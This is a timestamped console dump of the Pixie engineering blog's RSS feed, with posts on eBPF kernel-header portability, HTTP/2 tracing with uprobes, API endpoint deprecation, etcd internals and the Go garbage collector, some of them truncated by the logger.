6:35:43 AM: '// Can be used to count things like syscalls or particular functions.\n' +

6:35:43 AM: 'int syscall__probe_counter(struct pt_regs* ctx) {\n' +

6:35:43 AM: ' uint32_t tgid = bpf_get_current_pid_tgid() >> 32;\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' int64_t kInitVal = 0;\n' +

6:35:43 AM: ' int64_t* count = counts_by_pid.lookup_or_init(&tgid, &kInitVal);\n' +

6:35:43 AM: ' if (count != NULL) {\n' +

6:35:43 AM: ' *count = *count + 1;\n' +

6:35:43 AM: ' }\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' return 0;\n' +

6:35:43 AM: '}\n' +

6:35:43 AM: '</code></pre><p>The code above can be attached on a syscall (for example, the <code>recv()</code> syscall). Then, every time the syscall is made, the probe is triggered and the count for that PID is incremented. The counts are stored in a BPF map, which means the current counts for each PID can be read from user-space at any time to get the latest value.</p><p>This code is actually pretty robust to different kernel versions because it doesn’t rely on any kernel-specific structs. So if you manage to compile it with the wrong Linux headers, it will still work.</p><p>But now let’s tweak our example. Say we realize that process IDs (called TGIDs in the kernel) can be reused, and we don’t want to alias the counts. One thing we can do is to use the <code>start_time</code> of the process to differentiate recycled PIDs. So we might write the following code:</p><pre><code class=language-cpp>#include <linux/sched.h>\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'struct tgid_ts_t {\n' +

6:35:43 AM: ' uint32_t tgid;\n' +

6:35:43 AM: ' uint64_t ts; // Timestamp when the process started.\n' +

6:35:43 AM: '};\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '// Effectively returns task->group_leader->real_start_time;\n' +

6:35:43 AM: '// Note that before Linux 5.5, real_start_time was called start_boottime.\n' +

6:35:43 AM: 'static inline __attribute__((__always_inline__)) uint64_t get_tgid_start_time() {\n' +

6:35:43 AM: ' struct task_struct* task = (struct task_struct*)bpf_get_current_task();\n' +

6:35:43 AM: ' struct task_struct* group_leader_ptr = task->group_leader;\n' +

6:35:43 AM: ' uint64_t start_time = group_leader_ptr->start_time;\n' +

6:35:43 AM: ' return div_u64(start_time, NSEC_PER_SEC / USER_HZ);\n' +

6:35:43 AM: '}\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '// Map that stores counts of times triggered, by PID.\n' +

6:35:43 AM: 'BPF_HASH(counts_by_pid, struct tgid_ts_t, int64_t);\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '// Probe that counts every time it is triggered.\n' +

6:35:43 AM: '// Can be used to count things like syscalls or particular functions.\n' +

6:35:43 AM: 'int syscall__probe_counter(struct pt_regs* ctx) {\n' +

6:35:43 AM: ' uint32_t tgid = bpf_get_current_pid_tgid() >> 32;\n' +

6:35:43 AM: ' struct tgid_ts_t process_id = {};\n' +

6:35:43 AM: ' process_id.tgid = tgid;\n' +

6:35:43 AM: ' process_id.ts = get_tgid_start_time();\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' int64_t kInitVal = 0;\n' +

6:35:43 AM: ' int64_t* count = counts_by_pid.lookup_or_init(&process_id, &kInitVal);\n' +

6:35:43 AM: ' if (count != NULL) {\n' +

6:35:43 AM: ' *count = *count + 1;\n' +

6:35:43 AM: ' }\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' return 0;\n' +

6:35:43 AM: '}\n' +

6:35:43 AM: '</code></pre><p>This code is similar to the original, but the counts map is now indexed by the PID plus the timestamp of when the process was started. To get the start time of a PID, however, we needed to read the internal kernel struct called the <code>task_struct</code>.</p><p>When the program above is compiled, it uses <code>linux/sched.h</code> to know where in the <code>task_struct</code> the <code>group_leader</code> and <code>real_start_time</code> fields are located. These offsets are hard-coded into the bytecode.</p><p>You can likely imagine why this would be brittle now. What if you compiled this with Linux 5.5 headers, but were able to deploy it on a host with Linux 5.8? Imagine what would happen if a new member was added to the <code>struct task_struct</code>:</p><pre><code class=language-cpp>struct task_struct {\n' +

6:35:43 AM: ' ...\n' +

6:35:43 AM: ' struct task_struct *group_leader;\n' +

6:35:43 AM: ' ...\n' +

6:35:43 AM: ' int cool_new_member;\n' +

6:35:43 AM: ' ...\n' +

6:35:43 AM: ' uint64_t real_start_time;\n' +

6:35:43 AM: ' ...\n' +

6:35:43 AM: '}\n' +

6:35:43 AM: '</code></pre><p>If a new member is added to the struct, then the location of <code>real_start_time</code> in memory would change, and the compiled bytecode would look for <code>real_start_time</code> in the wrong location. If you somehow managed to deploy the compiled program on a machine with a different kernel version, you’d get wildly wrong results, because the eBPF program would read the wrong location in memory.</p><p>The picture gets one level more complicated with kernel configs. You may even think you have a perfect match in terms of Kernel versions, but if one kernel was built with a particular <code>#define</code>, it could also move the location of members, and you’d get unexpected results again.</p><p>In short, to make sure that your eBPF program produces the right results, it must be run on a machine with the same kernel as the machine it was compiled on.</p><h2>The BCC Solution</h2><p>The BCC solution to handling different struct layouts across kernel versions is to perform the compilation on the host, as shown in the initial figure. If you compile your BPF code on the target machine, then you’ll use the right headers, and life will be good.</p><p>There are two gotchas with this approach:</p><ol><li><p>You must deploy a copy of the compiler (clang) with your eBPF code so that compilation can be performed on the target machine. This has both a space and time cost.</p></li><li><p>You are relying on the target machine having the Linux headers installed. If the Linux headers are missing, you won’t be able to compile your eBPF code.</p></li></ol><p>We’re going to ignore problem #1 for the moment, since–though not efficient–the cost is only incurred when initially deploying eBPF programs. Problem #2, however, could prevent your application from deploying, and your users will be frustrated.</p><h2>Getting Linux Headers</h2><p>The BCC solution all comes down to having the Linux headers on the host. This way, you can compile and run your eBPF code on the same machine, avoiding any data structure mis-matches. This also means your target machines better have the Linux headers available.</p><p>The best case scenario is that the host system already has Linux headers installed. If you are running your eBPF application in a container, you’ll have to mount the headers into your container so your eBPF program can access it, but other than that life is good.</p><p>If the headers aren’t available, then we have to look for alternatives. If your users can be prodded to install the headers on the host by running something like <code>sudo apt install linux-headers-$(uname -r)</code>, that should be your next option.</p><p>If it’s not practical to ask your users to install the headers, there’s still a few other approaches you can try. If the host kernel was built with <a href=https://cateee.net/lkddb/web-lkddb/IKHEADERS.html>CONFIG_IKHEADERS</a>, then you can also find the headers at <code>/sys/kernel/kheaders.tar.xz</code>. Sometimes this is included as a kernel module that you’ll have to load. But once it’s there, you can essentially get the headers for building your eBPF code.</p><p>If none of the above works for you, then all hope is not lost, but you’re entering wary territory. It turns out '... 4861 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Observing HTTP/2 Traffic is Hard, but eBPF Can Help',

6:35:43 AM: date: '2022-01-19',

6:35:43 AM: description: In today's world full of microservices, gaining observability into the messages sent between services is critical to understanding and…,

6:35:43 AM: url: 'https://blog.px.dev/ebpf-http2-tracing/',

6:35:43 AM: guid: 'https://blog.px.dev/ebpf-http2-tracing/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>In today's world full of microservices, gaining observability into the messages sent between services is critical to understanding and troubleshooting issues.</p><p>Unfortunately, tracing HTTP/2 is complicated by HPACK, HTTP/2’s dedicated header compression algorithm. While HPACK helps increase the efficiency of HTTP/2 over HTTP/1, its stateful algorithm sometimes renders typical network tracers ineffective. This means tools like Wireshark can't always decode the clear text HTTP/2 headers from the network traffic.</p><p>Fortunately, by using eBPF uprobes, it’s possible to trace the traffic <em>before</em> it gets compressed, so that you can actually debug your HTTP/2 (or gRPC) applications.</p><p>This post will answer the following questions</p><ul><li><a href=/ebpf-http2-tracing/#when-does-wireshark-fail-to-decode-http2-headers>When will Wireshark fail to decode HTTP/2 headers?</a></li><li><a href=/ebpf-http2-tracing/#hpack:-the-bane-of-the-wireshark>Why does HPACK complicate header decoding?</a></li><li><a href=/ebpf-http2-tracing/#uprobe-based-http2-tracing>How can eBPF uprobes solve the HPACK issue?</a></li></ul><p>as well as share a demo project showing how to trace HTTP/2 messages with eBPF uprobes.</p><h2>When does Wireshark fail to decode HTTP/2 headers?</h2><p><a href=https://www.wireshark.org/>Wireshark</a> is a well-known network sniffing tool that can capture HTTP/2. However, Wireshark sometimes fails to decode the HTTP/2 headers. Let’s see this in action.</p><p>If we launch Wireshark <em>before</em> we start our gRPC demo application, we see captured HTTP/2 messages in Wireshark:</p><div class=image-l><svg title=Wireshark captured HTTP/2 HEADERS frame. src=wireshark-http2.png></svg></div><p>Let’s focus on the <a href=https://datatracker.ietf.org/doc/html/rfc7540#section-6.2>HEADERS frame</a>, which is equivalent to the headers in HTTP 1.x, and records metadata about the HTTP/2 session. We can see that one particular HTTP/2 header block fragment has the raw bytes <code>bfbe</code>. In this case, the raw bytes encode the <code>grpc-status</code> and <code>grpc-message</code> headers. These are decoded correctly by Wireshark as follows:</p><div class=image-l><svg title=Wireshark is able to decode HTTP/2 HEADERS if launched before the message stream starts. src=wireshark-http2-headers-captured.png></svg></div><p>Next, let’s launch Wireshark <em>after</em> launching gRPC client & server. The same messages are captured, but the raw bytes can no longer be decoded by Wireshark:</p><div class=image-l><svg title=Wireshark cannot decode HTTP/2 HEADERS if launched after the message stream starts. src=wireshark-http2-headers-not-captured.png></svg></div><p>Here, we can see that the <code>Header Block Fragment</code> still shows the same raw bytes, but the clear-text headers cannot be decoded.</p><p>To replicate the experiment for yourself, follow the directions <a href=https://github.com/pixie-io/pixie-demos/tree/main/http2-tracing#trace-http2-headers-with-wireshark>here</a>.</p><h2>HPACK: the bane of the Wireshark</h2><p>Why can’t Wireshark decode HTTP/2 headers if it is launched after our gRPC application starts transmitting messages?</p><p>It turns out that HTTP/2 uses <a href=https://httpwg.org/specs/rfc7541.html>HPACK</a> to encode & decoder headers, which compresses the headers and <a href=https://blog.cloudflare.com/hpack-the-silent-killer-feature-of-http-2/>greatly improves the efficiency over HTTP 1.x</a>.</p><p>HPACK works by maintaining identical lookup tables at the server and client. Headers and/or their values are replaced with their indices in these lookup tables. Because most of the headers are repetitively transmitted, they are replaced by indices that use much less bytes than clear-text headers. HPACK therefore uses significantly less network bandwidth. This effect is amplified by the fact that multiple HTTP/2 sessions can multiplex over the same connection.</p><p>The figure below illustrates the table maintained by the client and server for response headers. New header name and value pairs are appended into the table, displacing the old entries if the size of the lookup tables reaches its limit. When encoding, the clear text headers are replaced by their indices in the table. For more info, take a look at <a href=https://httpwg.org/specs/rfc7541.html>the official RFC</a>.</p><div class=image-xl><svg title=HTTP/2’s HPACK compression algorithm requires that the client and server maintain identical lookup tables to decode the headers. This makes decoding HTTP/2 headers difficult for tracers that don’t have access to this state. src=hpack-diagram.png></svg></div><p>With this knowledge, the results of the Wireshark experiment above can be explained clearly. When Wireshark is launched <em>before</em> starting the application, the entire history of the headers are recorded, such that Wireshark can reproduce the exact same header tables.</p><p>When Wireshark is launched <em>after</em> starting the application, the initial HTTP/2 frames are lost, such that the later encoded bytes <code>bebf</code> have no corresponding entries in the lookup tables. Wireshark therefore cannot decode the corresponding headers.</p><p>HTTP/2 headers are metadata of the HTTP/2 connection. These headers are critical information for debugging microservices. For example, <code>:path</code> contains the resource being requested; <code>content-type</code> is required to detect gRPC messages, and then apply protobuf parsing; and <code>grpc-status</code> is required to determine the success of a gRPC call. Without this information, HTTP/2 tracing loses the majority of its value.</p><h2>Uprobe-based HTTP/2 tracing</h2><p>So if we can’t properly decode HTTP/2 traffic without knowing the state, what can we do?</p><p>Fortunately, eBPF technology makes it possible for us to probe into HTTP/2 implementation to get the information that we need, without requiring state.</p><p>Specifically, eBPF uprobes address the HPACK issue by directly tracing clear-text data from application memory. By attaching uprobes to the HTTP/2 library APIs that take clear-text headers as input, the uprobes are able to directly read the header content from application memory before they are compressed with HPACK.</p><p><a href=https://blog.px.dev/ebpf-http-tracing/#tracing-with-uprobes>An earlier blog post on eBPF</a> shows how to implement an uprobe tracer for HTTP applications written in Golang. The first step is to identify the function to attach BPF probes. The function’s arguments need to contain the information we are interested in. The arguments ideally should also have simple structure, such that accessing them in BPF code is easy (through manual pointer chasing). And the function needs to be stable, such that the probes work for a wide range of versions.</p><p>Through investigation of the source code of Golang’s gRPC library, we identified <code>loopyWriter.writeHeader()</code> as an ideal tracepoint. This function accepts clear text header fields and sends them into the internal buffer. The function signature and the arguments’ type definition is stable, and has not been changed since <a href=https://github.com/grpc/grpc-go/commits/master/internal/transport/controlbuf.go>2018</a>.</p><p>Now the challenge is to figure out the memory layout of the data structure, and write the BPF code to read the data at the correct memory addresses.</p><p>Let’s take a look at the the signature of the function:</p><pre><code class=language-golang>func (l *loopyWriter) writeHeader(streamID uint32, endStream bool, hf []hpack.HeaderField, onWrite func())\n' +

6:35:43 AM: '</code></pre><p>The task is to read the content of the 3rd argument <code>hf</code>, which is a slice of <code>HeaderField</code>. We use the <code>dlv</code> debugger to figure out the offset of nested data elements, and the results are shown in <a href=https://github.com/pixie-io/pixie-demos/blob/main/http2-tracing/uprobe_trace/bpf_program.go><code>http2-tracing/uprobe_trace/bpf_program.go</code></a>.</p><p>This code performs 3 tasks:</p><ul><li><p><a href=https://github.com/pixie-io/pixie-demos/blob/main/http2-tracing/uprobe_trace/bpf_program.go#L79>probe_loopy_writer_write_header()</a> obtains a pointer to the HeaderField objects held in the slice. A slice resides in memory as a 3-tuple of {pointer, size, capacity}, where the BPF code reads the pointer and size of certain offsets from the SP pointer.</p></li><li><p><a href=https://github.com/pixie-io/pixie-demos/blob/main/http2-tracing/uprobe_trace/bpf_program.go#L63>submit_headers()</a> navigates the list of HeaderField objects through the pointer, by incrementing the pointer with the size of the HeaderField object.</p></li><li><p>For each HeaderField object, <a href=https://github.com/pixie-io/pixie-demos/blob/main/http2-tracing/uprobe_trace/bpf_program.go#L51>copy_header_field()</a> copies its content to the output perf buffer. HeaderField is a struct of 2 string objects. Moreover, each string object resides in memory as a 2-tuple of {pointer, size}, where the BPF code copies the corresponding number of bytes from the pointer.</p></li></ul><p>Let’s run the uprobe HTTP/2 tracer, then start up the gRPC client and server. Note that this tracer works even if the tracer was launched after the connection between the gRPC client and server are es'... 4349 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Can I deprecate this endpoint?',

6:35:43 AM: date: '2022-01-11',

6:35:43 AM: description: 'Nothing lasts forever, including even the best designed APIs. Let’s imagine you are a developer who has taken over ownership of a Catalog…',

6:35:43 AM: url: 'https://blog.px.dev/endpoint-deprecation/',

6:35:43 AM: guid: 'https://blog.px.dev/endpoint-deprecation/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>Nothing lasts forever, including even the best designed APIs.</p><p>Let’s imagine you are a developer who has taken over ownership of a Catalog microservice. You’ve been asked to deprecate the <code>/v1/catalog</code> endpoint in favor of the new <code>/v2/catalog</code> endpoint. How do you go about this?</p><p>Whatever the reason for removal – a new version or a planned end-of-life – the first step in a <em>graceful</em> API deprecation is to observe:</p><ul><li>Is this endpoint used?</li><li>If so, who is calling it?</li></ul><h2>Is this endpoint used?</h2><p>Before you can deprecate the endpoint, you need to first check if the endpoint is actually being used.</p><h3>Search the codebase</h3><p>For internal endpoints, a great way to start is to search the codebase for calls to the API. However, once you believe all calls have been removed, you will still want to use observability tooling to verify that all usage of the API has indeed stopped. It's possible that you may still be getting traffic from an older version of a service that is still running.</p><p>Note that after you remove all API calls from the codebase, company protocol may dictate that you wait several releases before turning off the endpoint. Most established companies have standards for backwards compatibility of their microservice APIs (even internal ones). For example, a company might have a policy requiring 3 releases to pass between deprecation of an API and removal, in the event that there’s a rollback.</p><h3>Verify with observability tooling</h3><p>Your company’s specific method for determining endpoint usage may vary. Some applications export metrics that they explicitly define on their services (e.g. Prometheus). Some applications are set up to log every inbound HTTP request (e.g. Apache logging).</p><p>Another option is to use <a href=https://github.com/pixie-io/pixie>Pixie</a>, an open source observability tool for Kubernetes applications. Pixie automatically traces request traffic of <a href=https://docs.px.dev/about-pixie/data-sources/>numerous protocols</a> (HTTP, MySQL, gRPC, and more) <a href=https://docs.px.dev/about-pixie/pixie-ebpf/>using eBPF</a>. But no matter how you gather the data, you’ll need to answer the same questions.</p><p>Let’s check for HTTP traffic to the <code>/v1/catalog</code> endpoint to see if there are any clients of this endpoint.</p><div class=image-xl><svg title=Output of a PxL script showing all HTTP/2 traffic sent to a specific service. src=service-traffic.png></svg></div><h3>Endpoints with wildcards?</h3><p>Now you have an answer: the <code>/v1/catalog</code> endpoint <em>is</em> actually being used.</p><p>Taking a look at the different request paths, you can see that the endpoint contains a wildcard parameter. In this case, it appears we have a <code>/v1/catalog/{uuid}/details</code> endpoint that takes an <code>uuid</code> query parameter that will change depending on the product the API client would like to get details about.</p><p>Clustering by logical endpoint provies a better high-level view of the usage of the API.</p><p>For example, these two calls:</p><pre><code class=language-bash>/v1/catalog/d3588631-ad8e-49df-bbd6-3167f7efb291/details\n' +
'/v1/catalog/d3234332-s5fe-s30s-gsh6-323434sdf634/details\n' +

6:35:43 AM: '</code></pre><p>Should be clustered together into the logical endpoint:</p><pre><code>/v1/catalog/*/details\n' +

6:35:43 AM: '</code></pre><p>Let’s cluster the requests to the Catalog service by logical endpoint. Pixie takes a statistical approach to this, but you can also try to manually build patterns with regexes.</p><div class=image-xl><svg title=Output of PxL script showing all endpoints for a specific service, with high-level latency, error and throughput statistics. src=service-endpoint-summary.png></svg></div><p>This high-level view of the Catalog service traffic confirms that there are two versions of the <code>/catalog</code> endpoint receiving traffic and that only the <code>/v1</code> version has the <code>/details</code> endpoint.</p><h2>Who uses this endpoint?</h2><p>Unfortunately, your endpoint is still receiving traffic. How do you determine the source so that they can be notified about the deprecation?</p><h3>Check the request headers</h3><p>Let’s inspect the request headers for clues. Pixie automatically traces full requests, including body and request headers. Service meshes can also capture this type of information in Kubernetes.</p><div class=image-xl><svg title=Output of a PxL script showing all HTTP/2 traffic to a specific endpoint (with the request headers expanded in JSON form). src=request-headers.png></svg></div><p>Here, you can see that the request headers include a <code>Referer</code> and <code>API-Key</code> field. Aggregating these values gives us a list of API clients to notify:</p><div class=image-l><svg title=Output of a PxL script listing unique values for the request header `Referer` and `API-Key` fields. src=req-header-values.png></svg></div><p>Can’t find any information identifying the API client in the request headers?</p><p>Here are some other places to check:</p><ul><li>Request body</li><li>URL parameter</li><li>IP address of the inbound request</li></ul><p>Any API clients you identify should be notified of the impending deprecation. If certain clients fail to migrate to the new API, this sort of identifying information could be used to implement a progressive shutdown that affects clients differently. For example, free-tier clients could have their deprecated API request responses slightly delayed, while paying clients could continue using the deprecated API without penalty.</p><h2>Time to proceed to deprecation</h2><p>Now that you know how your API is being used, you can create a deprecation plan.</p><p>Developers don't appreciate surprise deprecations, so it’s best to notify in multiple ways, including:</p><ul><li><strong>Documentation</strong>: update reference docs to prevent new users from using the deprecated API.</li><li><strong>Slack/email blast</strong>: tell existing users how and when to migrate.</li><li><strong>Deprecated / Sunset Headers</strong>: automate detection of deprecated APIs for users with HTTP middleware.</li><li><strong>Monitor</strong>: track endpoint traffic to remind the API client to migrate.</li><li><strong>Progressive Shutdowns</strong>: give a last-chance warning to API clients.</li></ul><p>Once you’ve done your best to migrate remaining clients off the deprecated API, it’s time to turn off the endpoint. Tech debt eliminated!</p><p><strong>Interested in a Tutorial?</strong> <a href=https://github.com/pixie-io/pixie-demos/tree/main/endpoint-deprecation>Learn</a> how to run the scripts included in this post.</p><p><strong>Questions?</strong> Find us on <a href=https://slackin.px.dev/>Slack</a> or Twitter at <a href=https://twitter.com/pixie_run>@pixie_run</a>.</p>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'How etcd works and 6 tips to keep in mind',

6:35:43 AM: date: '2021-02-08',

6:35:43 AM: description: 'etcd is a distributed key-value store designed to be a highly available and strongly consistent data store for distributed systems. In fact…',

6:35:43 AM: url: 'https://blog.px.dev/etcd-6-tips/',

6:35:43 AM: guid: 'https://blog.px.dev/etcd-6-tips/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p><a href=https://etcd.io/>etcd</a> is a distributed key-value store designed to be a highly available and strongly consistent data store for distributed systems. In fact, by default Kubernetes itself uses etcd to store all of its cluster data, such as configs and metadata.</p><p>As with designing any system, different architectural decisions lead to different tradeoffs that impact the optimal way a system should be used and operated. In this blogpost, we discuss the inner workings of etcd to help draw conclusions for how you can best use this key-value store in your own application.</p><h1>TL;DR</h1><ol><li>The stability of etcd's Raft cluster is sensitive to network and disk IO. Add robust handling in clients (such as retries) for possible downtime, when the cluster has lost its leadership.</li><li>Carefully tune the number of nodes in your cluster to account for failure tolerance and network utilization.</li><li>If running a large datastore that can't fit into memory, try to run etcd with SSDs to help with reads and general disk latency.</li><li>Range reads will be most efficient if you tend to write and read the same pieces of information together.</li><li>Frequent compactions are essential to maintaining etcd's memory and disk usage.</li><li>For applications with workloads where keys are frequently updated, defrags should be run to free up unneeded space to disk.</li></ol><p>etcd is a key-value store built to serve data for highly distributed systems. Building an understanding of how etcd is designed to support this use-case can help reason through its best use. To do so, we will explore how etcd provides availability and consistency, and how it stores data internally. Design decisions, such as the consensus algorithm chosen for guaranteeing consistency, can heavily influence the system’s operation. Meanwhile, the underlying structure of the datastore can impact how the data is optimally accessed and managed. With these considerations in mind, etcd can serve as a reliable store for even the most critical data in your system.</p><h1>How etcd provides high availability and consistency</h1><p>In order to provide high availability, etcd is run as a cluster of replicated nodes. To ensure data consistency across these nodes, etcd uses a popular consensus algorithm called <a href=https://raft.github.io/>Raft</a>. In Raft, one node is elected as leader, while the remaining nodes are designated as followers. The leader is responsible for maintaining the current state of the system and ensuring that the followers are up-to-date.</p><p>More specifically, the leader node has the following responsibilities: (1) maintaining leadership and (2) log replication.</p><h3>Maintaining Leadership</h3><p>The leader node must periodically send a heartbeat to all followers to notify them that it is still alive and active. If the followers have not received a heartbeat after a configurable timeout, a new leader election is initiated. During this process, the system will be unavailable, as a leader is necessary to enforce the current state.</p><p>By effect, the etcd cluster's stability is very sensitive to network and disk IO. This means that etcd's stability is susceptible to heavy workloads, both from itself and other applications running in the environment. <b><u>It is recommended clients use robust handling, such as retries, to account for the possibility of lost leadership.</u></b></p><h3>Log Replication</h3><div class=image-m><svg title=Screenshot from raft.github.io's helpful Raft Visualization, which demonstrates how Log Replication works. In this screenshot, S2 is the leader and broadcasting the log entries to all followers. src=logreplication.png></svg></div><p>The leader node is responsible for handling incoming write transactions from the client. The write operation is written to a Raft log entry, which the leader broadcasts to the followers to ensure consistency across all nodes. Once a majority of the followers have successfully acknowledged and applied the Raft log entry, the leader considers the transaction as committed. If at any point the leader is unable to receive acknowledgement from the <em>majority</em> of followers, (for instance, if some node(s) fail), then the transaction cannot be committed and the write fails.</p><p>As a result, if the leader is unable to reach a majority, the cluster is declared to have "lost quorum" and no transactions can be made until it has recovered. This is why you should <b><u>carefully tune the number of etcd nodes in your cluster</u></b> to reduce the chance of lost quorum.</p><p>A good rule of thumb is to select an odd number of nodes. This is because adding an additional node to an odd number of nodes does not help increase the failure tolerance. Consider the following table, where the failure tolerance is the number of nodes that can fail without the cluster losing quorum:</p><div class=image-m><table><thead><tr><th>Cluster Size</th><th>Majority</th><th>Failure Tolerance</th></tr></thead><tbody><tr><td>1</td><td>1</td><td>0</td></tr><tr><td>2</td><td>2</td><td>0</td></tr><tr><td>3</td><td>2</td><td>1</td></tr><tr><td>4</td><td>3</td><td>1</td></tr><tr><td>5</td><td>3</td><td>2</td></tr><tr><td>6</td><td>4</td><td>2</td></tr><tr><td>7</td><td>4</td><td>3</td></tr><tr><td>8</td><td>5</td><td>3</td></tr><tr><td>9</td><td>5</td><td>4</td></tr></tbody></table><p>Table borrowed from <a href=https://etcd.io/docs/v3.4.0/faq/>https://etcd.io/docs/v3.4.0/faq/</a>, showing that a cluster’s failure tolerance does not increase for a cluster of size N when compared to a cluster of size N-1, where N is even.</p></div><p>This helps visualize that a cluster of size 4 has the same failure tolerance as a cluster size of 3. Increasing the number of nodes will also result in an increase in network utilization, as the leader must send all log entries to every node. So, in the case of choosing an etcd cluster with 3 vs 4 nodes, 3 nodes will give you the same failure tolerance with less network utilization.</p><h1>How etcd stores data</h1><p>Now that we understand how etcd maintains high availability and consistency, let's discuss how data is actually stored in the system.</p><h3>BoltDB</h3><p>etcd's datastore is built on top of <a href=https://github.com/boltdb/bolt>BoltDB</a>, or more specifically, <a href=https://github.com/etcd-io/bbolt>BBoltDB</a>, a fork of BoltDB maintained by the etcd contributors.</p><p>Bolt is a Go key-value store which writes its data to a single memory-mapped file. This means that the underlying operating system is responsible for handling how the data is cached, typically caching as much of the file in memory as possible. Thus, Bolt shows high memory usage when working with large datasets. However, assuming that the relevant page is in the cache, this method allows for fast reads.</p><p>Bolt's underlying data structure is a B+ tree consisting of 4KB pages that are allocated as needed. The <a href=https://en.wikipedia.org/wiki/B%2B_tree>B+ tree</a> structure helps with quick reads and sequential writes. However, Bolt does not perform as well on random writes, since the writes might be made to different pages on disk.</p><div class=image-m><svg title=Bolt stores its data in a B+ tree, a structure that helps with quick reads and sequential writes. Highlighted in green is the path taken to find the data with 4 as the key. src=bplustree.svg></svg></div><p>Bolt operations are copy-on-write. When a page is updated, it is copied to a completely new page. The old page is added to a "freelist", which Bolt refers to when it needs a new page. This means that deleting large amounts of data will not actually free up space on disk, as the pages are instead kept on Bolt's freelist for future use. In order to free up this space to disk, you will need to perform a defrag, which we'll discuss later in this post.</p><div class=image-m><svg title=When data is deleted from Bolt, unused pages are not released back to disk, but kept in Bolt’s freelist for future use. src=freelist.png></svg></div><h3>etcd's Data Model</h3><p>etcd uses <a href=https://en.wikipedia.org/wiki/Multiversion_concurrency_control>MultiVersion Concurrency Control</a> in order to safely handle concurrent operations. This goes hand-in-hand with the Raft protocol, as each version in MVCC corresponds to an index in the Raft log. To handle MVCC, etcd tracks changes by revisions. Each transaction made to etcd is a new revision. For example, if you were to load up a fresh instance of etcd and ran the following operations, the revision state would look like so:</p><pre><code class=language-bash>---- Revision begins at 1 ----\n' +

6:35:43 AM: 'tx: [put foo bar] -> Revision is 2\n' +

6:35:43 AM: 'tx: [put foo1 bar1] -> Revision is 3\n' +

6:35:43 AM: 'tx: [put foo updatedBar] -> Revision is 4\n' +

6:35:43 AM: 'tx: [put foo2 bar2, put foo3 bar3] -> Revision is 5\n' +

6:35:43 AM: '</code></pre><p>By keeping a history of the revisions, etcd is able to provide the version history for specific keys. In the example above, you would just need to read Revisions 4 and 2 in order to see that the current value of <code>foo</code> is <code>updatedBar</code>, and the previous value was <code>bar</code>.</p><p>This means that keys must be associated with their revision numbers, along with their new values. To do so, etcd stores each operation in Bolt as th'... 7863 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Dumpster diving the Go garbage collector',

6:35:43 AM: date: '2022-02-02',

6:35:43 AM: description: 'Go is a garbage collected language. This makes writing Go simpler, because you can spend less time worrying about managing the lifetime of…',

6:35:43 AM: url: 'https://blog.px.dev/go-garbage-collector/',

6:35:43 AM: guid: 'https://blog.px.dev/go-garbage-collector/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>Go is a garbage collected language. This makes writing Go simpler, because you can spend less time worrying about managing the lifetime of allocated objects.</p><p>Memory management is definitely easier in Go than it is in, say, C++. But it’s also not an area we as Go developers can totally ignore, either. Understanding how Go allocates and frees memory allows us to write better, more efficient applications. The garbage collector is a critical piece of that puzzle.</p><p>In order to better understand how the garbage collector works, I decided to trace its low-level behavior on a live application. In this investigation, I'll instrument the Go garbage collector with eBPF uprobes. The source code for this post lives <a href=https://github.com/pixie-io/pixie-demos/tree/main/go-garbage-collector>here</a>.</p><ul><li><a 